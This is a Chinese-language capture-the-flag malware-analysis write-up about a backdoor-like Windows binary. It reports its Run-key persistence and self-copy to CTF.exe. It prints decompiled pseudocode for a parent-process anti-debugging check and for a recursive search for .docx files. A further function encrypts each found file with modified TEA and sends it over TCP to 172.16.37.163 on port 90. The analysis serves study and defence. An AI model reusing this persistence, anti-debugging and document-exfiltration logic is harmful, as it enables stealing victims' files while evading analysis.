0x00前言
这是一道恶意代码分析的题目,其实特征不太像病毒啦。。。整个流程分析下来,还是有不少收获,虽然最后卡在了某个点,但程序的所有功能和流程都分析完成了(因为不复杂,T__T)。在这里,我就把它当作真正的恶意程序来分析一番。
0x01信息收集
一开始我们没有必要直接去逆向这个程序,而是先收集相关信息,这样能够更轻松的完成逆向分析的步骤。
0.首先将它丢进沙箱
可以看到给出的评估居然是安全的...但AVG这个反病毒引擎将其识别为了一个后门。
1.查看PE文件信息
先来看导入表
可以明显的看到修改注册表的API;而最后一个WS2_32.dll文件则是socket编程中需要使用的动态库,根据这些信息大概可以猜测这确实是个后门了,而恶意代码一般都会通过修改注册表来达到自启动的目的
在字符串列表中发现了SOFTWARE\Microsoft\Windows\CurrentVersion\Run也证实了这一点,而不远处还有一个注册表的键,它的作为只有分析程序时才能知道了。
2.监视程序行为
这个操作必须在虚拟机中完成,并且断网。监视的工作由Process Monitor来完成
可以看到这里程序自我复制到了C:\Windows\System32\CTF.exe,并将C:\Windows\System32\CTF.exe加入到注册表,然后就退出了。虽然还没正式开始分析程序,但感觉已经得到许多有用信息了呢。
0x02反调试
bool anti_debug0()
{
int ParentProcessId; // edi
DWORD CurrentProcessId; // esi
signed int v2; // ecx
signed int v3; // ecx
HMODULE ntdll; // eax
HANDLE hCurProcessId; // eax
void *v7; // esi
HWND v8; // eax
DWORD ShellProcessId; // [esp+8h] [ebp-4Ch]
ProcessBasicInformation pbi; // [esp+Ch] [ebp-48h]
CHAR ProcName[4]; // [esp+24h] [ebp-30h]
int v12; // [esp+28h] [ebp-2Ch]
int v13; // [esp+2Ch] [ebp-28h]
int v14; // [esp+30h] [ebp-24h]
int v15; // [esp+34h] [ebp-20h]
int v16; // [esp+38h] [ebp-1Ch]
char v17; // [esp+3Ch] [ebp-18h]
char v18; // [esp+3Dh] [ebp-17h]
int v19; // [esp+3Eh] [ebp-16h]
__int16 v20; // [esp+42h] [ebp-12h]
WCHAR ModuleName[2]; // [esp+44h] [ebp-10h]
int v22; // [esp+48h] [ebp-Ch]
int v23; // [esp+4Ch] [ebp-8h]
ParentProcessId = 0;
CurrentProcessId = GetCurrentProcessId();
v17 = 50;
v2 = 0;
*(_DWORD *)ProcName = 873477391;
v12 = 137900836;
v13 = 858662703;
v14 = 674570284;
v15 = 856764206;
v16 = 841228846;
v18 = 65;
v19 = 0;
v20 = 0;
*(_DWORD *)ModuleName = 1094009135;
v22 = 1093484837;
v23 = 1094795565;
do
{
ProcName[v2] ^= 0x41u; // decrypt ProcName
++v2;
}
while ( v2 < 32 );
v3 = 0;
do
*((_BYTE *)ModuleName + v3++) ^= 0x41u; // decrypt ModuleName
while ( v3 < 12 );
ntdll = GetModuleHandleW(ModuleName);
NtQueryInformationProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(ntdll, ProcName);
if ( !NtQueryInformationProcess )
return 1;
hCurProcessId = OpenProcess(0x400u, 0, CurrentProcessId);
v7 = hCurProcessId;
if ( !hCurProcessId )
return 1;
if ( !NtQueryInformationProcess(hCurProcessId, 0, &pbi, 24, 0) )
ParentProcessId = pbi.InheritedFromUniqueProcessId;
CloseHandle(v7);
v8 = GetShellWindow();
GetWindowThreadProcessId(v8, &ShellProcessId);
return ParentProcessId != ShellProcessId;
}
首先主函数中一开始就是一个反调试函数,以上是已标注好的代码,逻辑比较清晰,反调试方法是利用父进程反调试。利用NtQueryInformationProcess函数获取ProcessBasicInformation,取其最后一个字段就是父进程id,将父进程pid与shell的pid进行比较,若我们的父进程为调试器,则肯定是不匹配的,以此达到反调试效果。
0x03 流程分析
这段代码完成的工作就是在Process Monitor中看到的一样,写入CTF.exe文件并自启动,然后检测当前文件,若不是CTF.exe,则退出。
接着srand(time(0)),然后进入一个递归函数
DWORD __cdecl rescur_travl(WCHAR *UserDocumentPath)
{
WCHAR *_UserDocumentPath; // edi
__int16 *v2; // eax
signed int v3; // edx
__int16 v4; // cx
int v5; // edx
__int16 *v6; // eax
HANDLE allFile; // ebx
WCHAR *v9; // eax
WCHAR *v10; // eax
WCHAR *v11; // edx
WCHAR v12; // cx
char *path_len; // eax
WCHAR *v14; // edi
WCHAR v15; // cx
WCHAR *v16; // edi
WCHAR v17; // ax
char *v18; // eax
__int16 v19; // cx
unsigned int v20; // eax
WCHAR *v21; // edi
WCHAR v22; // cx
WCHAR v23; // cx
int len; // eax
DWORD v25; // esi
struct _WIN32_FIND_DATAW FileData; // [esp+10h] [ebp-668h]
char directorName; // [esp+260h] [ebp-418h]
__int16 FileName[262]; // [esp+468h] [ebp-210h]
_UserDocumentPath = UserDocumentPath;
memset(&directorName, 0, 0x104u);
v2 = FileName;
v3 = 0x104;
while ( v3 != 0x80000106 ) // copy path to filename
{
v4 = *(__int16 *)((char *)v2 + (char *)UserDocumentPath - (char *)FileName);
if ( !v4 )
break;
*v2 = v4;
++v2;
if ( !--v3 )
goto LABEL_7; // 文件路径大于缓冲区大小
}
if ( v3 )
goto LABEL_8;
LABEL_7:
--v2;
LABEL_8:
*v2 = 0;
v5 = 0x104;
v6 = FileName;
while ( *v6 )
{
++v6;
if ( !--v5 )
goto LABEL_14; // 文件路径大于缓冲区大小
}
if ( v5 )
sub_381000(v5, 0x7FFFFFFF, &FileName[260 - v5], (int)L"\\*");// filepath+"\*"
LABEL_14:
allFile = FindFirstFileW((LPCWSTR)FileName, &FileData);
if ( allFile == (HANDLE)-1 )
return 0;
do
{
v9 = FileData.cFileName;
if ( FileData.dwFileAttributes & 0x10 ) // #define FILE_ATTRIBUTE_DIRECTORY 0x10
{
if ( wcscmp(FileData.cFileName, L".") && wcscmp(FileData.cFileName, L"..") )// 过滤.和..
{
v10 = _UserDocumentPath;
v11 = _UserDocumentPath;
do
{
v12 = *v10;
++v10;
}
while ( v12 );
path_len = (char *)((char *)v10 - (char *)_UserDocumentPath);
v14 = &FileData.cAlternateFileName[13];
do
{
v15 = v14[1];
++v14;
}
while ( v15 );
qmemcpy(v14, v11, (unsigned int)path_len);
v16 = &FileData.cAlternateFileName[13];
do
{
v17 = v16[1];
++v16;
}
while ( v17 );
v18 = (char *)FileData.cFileName;
*(_DWORD *)v16 = '\\';
do
{
v19 = *(_WORD *)v18;
v18 += 2;
}
while ( v19 );
v20 = v18 - (char *)FileData.cFileName;
v21 = &FileData.cAlternateFileName[13];
do
{
v22 = v21[1];
++v21;
}
while ( v22 );
qmemcpy(v21, FileData.cFileName, v20);
rescur_travl((WCHAR *)&directorName);
memset(&directorName, 0, 0x104u);
_UserDocumentPath = UserDocumentPath;
}
}
else
{
do
{
v23 = *v9;
++v9;
}
while ( v23 );
len = v9 - &FileData.cFileName[1];
if ( len > 3 && !wcscmp((const unsigned __int16 *)&FileData.nFileSizeLow + len + 1, L".docx") )// 比较后缀名
NetFunction(_UserDocumentPath, &FileData);
}
}
while ( FindNextFileW(allFile, &FileData) );
v25 = GetLastError();
FindClose(allFile);
return v25;
}
这个函数流程如下:
- 遍历当前文件夹,过滤掉 . 和 ..
- 若当前文件为文件夹,递归
- 若当前文件为.docx,进入NetFunction
逻辑其实挺清晰,不过还是得看上一阵
NetFunction中就是网络数据传输了,使用了win socket编程
signed int __fastcall NetFunction(const unsigned __int16 *UserDocumentPath, _WIN32_FIND_DATAW *a2)
{
_WIN32_FIND_DATAW *filedata; // ebx
const unsigned __int16 *documentpath_; // edi
signed int i; // esi
unsigned int len_path; // edx
WCHAR *v6; // eax
WCHAR v7; // cx
int filename_lenth; // esi
unsigned __int16 *filename_buffer; // eax
unsigned __int16 *filepath; // ebx
char *v12; // eax
__int16 v13; // dx
unsigned int len_path_; // eax
const unsigned __int16 *documentpath__; // esi
unsigned __int16 *v16; // edi
unsigned __int16 v17; // cx
int v18; // edi
__int16 v19; // ax
char *v20; // eax
WCHAR *v21; // edx
__int16 v22; // cx
unsigned int v23; // eax
unsigned __int16 *v24; // edi
unsigned __int16 v25; // cx
int v26; // esi
DWORD *AFileStruct; // edi
HANDLE hFile; // esi
DWORD v29; // eax
SOCKET socket; // esi
int v31; // [esp+10h] [ebp-3D8h]
char optval[4]; // [esp+14h] [ebp-3D4h]
DWORD NumberOfBytesRead; // [esp+18h] [ebp-3D0h]
char *buffer; // [esp+1Ch] [ebp-3CCh]
int fileSize; // [esp+20h] [ebp-3C8h]
_WIN32_FIND_DATAW *v36; // [esp+24h] [ebp-3C4h]
struct WSAData WSAData; // [esp+28h] [ebp-3C0h]
struct sockaddr name; // [esp+1B8h] [ebp-230h]
char ipaddr[4]; // [esp+1C8h] [ebp-220h]
char v40; // [esp+1D6h] [ebp-212h]
char recv_data; // [esp+3CCh] [ebp-1Ch]
char randarray[8]; // [esp+3DCh] [ebp-Ch]
filedata = a2;
documentpath_ = UserDocumentPath;
v36 = a2;
i = 0;
do
randarray[i++] = rand();
while ( i < 8 );
len_path = wcslen(documentpath_);
v6 = filedata->cFileName;
do
{
v7 = *v6;
++v6;
}
while ( v7 );
filename_lenth = v6 - &filedata->cFileName[1] + len_path + 2;
filename_buffer = (unsigned __int16 *)operator new(2 * filename_lenth);
filepath = filename_buffer;
if ( !filename_buffer )
return -1;
v31 = 2 * filename_lenth;
memset(filename_buffer, 0, 2 * filename_lenth);
v12 = (char *)documentpath_;
do
{
v13 = *(_WORD *)v12;
v12 += 2;
}
while ( v13 );
len_path_ = v12 - (char *)documentpath_;
documentpath__ = documentpath_;
v16 = filepath - 1;
do
{
v17 = v16[1];
++v16;
}
while ( v17 );
qmemcpy(v16, documentpath__, len_path_); // add director path to filename_buffer
v18 = (int)(filepath - 1);
do
{
v19 = *(_WORD *)(v18 + 2);
v18 += 2;
}
while ( v19 );
*(_DWORD *)v18 = 92; // add "\"
v20 = (char *)v36->cFileName;
v21 = v36->cFileName;
do
{
v22 = *(_WORD *)v20;
v20 += 2;
}
while ( v22 );
v23 = v20 - (char *)v21;
v24 = filepath - 1;
do
{
v25 = v24[1];
++v24;
}
while ( v25 );
qmemcpy(v24, v21, v23); // add filename
fileSize = v36->nFileSizeLow + 2 * wcslen(filepath) + 58;
v26 = fileSize;
if ( fileSize % 8 )
{
fileSize = 8 * (fileSize / 8) + 8;
v26 = 8 * (v26 / 8) + 8;
}
AFileStruct = (DWORD *)operator new(v26);
buffer = (char *)operator new(v26);
if ( !AFileStruct )
return -1;
memset(AFileStruct, 0, v26);
*AFileStruct = v36->nFileSizeLow;
hFile = CreateFileW(filepath, 0x80000000, 1u, 0, 4u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return -1;
memcpy(AFileStruct + 1, L"bufFileContent", 28u);
ReadFile(hFile, AFileStruct + 8, v36->nFileSizeLow, &NumberOfBytesRead, 0);
CloseHandle(hFile);
*(DWORD *)((char *)AFileStruct + NumberOfBytesRead + 32) = v31;
v29 = (DWORD)AFileStruct + NumberOfBytesRead + 36;
*(_DWORD *)v29 = *(_DWORD *)"b";
*(_DWORD *)(v29 + 4) = *(_DWORD *)"f";
*(_DWORD *)(v29 + 8) = *(_DWORD *)"i";
*(_DWORD *)(v29 + 12) = *(_DWORD *)"e";
*(_DWORD *)(v29 + 16) = *(_DWORD *)"a";
*(_WORD *)(v29 + 20) = *(_WORD *)"e";
memcpy((char *)AFileStruct + NumberOfBytesRead + 58, filepath, 2 * wcslen(filepath));//
// struct{
// DWORD FileSize
// WCHAR[] = L"bufFileContent"
// char[FileSize] = FileData
// WCHAR[] = L"bufFileName"
// char[] = filepath
// }
//
if ( WSAStartup(0x202u, &WSAData) )
return -1;
socket = ::socket(2, 1, 6); // socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
*(_DWORD *)optval = 30000;
setsockopt(socket, 0xFFFF, 0x1006, optval, 4);// setsockopt(socket, SOL_SOCKET, SO_RCVTIMEO, timeval, 4)
strcpy(ipaddr, "172.16.37.163");
memset(&v40, 0, 0x1F2u);
name.sa_family = 2; // AF_INET
*(_WORD *)name.sa_data = htons('09'); // port = 90
*(_DWORD *)&name.sa_data[2] = inet_addr(ipaddr);// ip = 172.16.37.163
connect(socket, &name, 16);
send(socket, randarray, 8, 0);
recv(socket, &recv_data, 16, 0);
encrypt(AFileStruct, randarray, fileSize, &recv_data, buffer);
send(socket, buffer, fileSize, 0);
recv(socket, &recv_data, 8, 0); // data ok!
operator delete(filepath);
operator delete(AFileStruct);
operator delete(buffer);
closesocket(socket);
WSACleanup();
return 0;
}
主要是创建了一个结构体
经过加密后进行TCP传送。
加密部分以变形的TEA为基础,混合了一些异或加密。TEA加密时将所有参数和输出都在字节上进行了倒置,且利用
sum -= 0x61C88647
来替代
sum += 0x9e37799b9
整个过程就算是分析完了,要对捕获的数据包进行解密,必须要知道srand(time(0))得到的rand()数组的值,但这里不太清楚去哪里找,文件分析虽然完成了,但题目依旧没有完成。。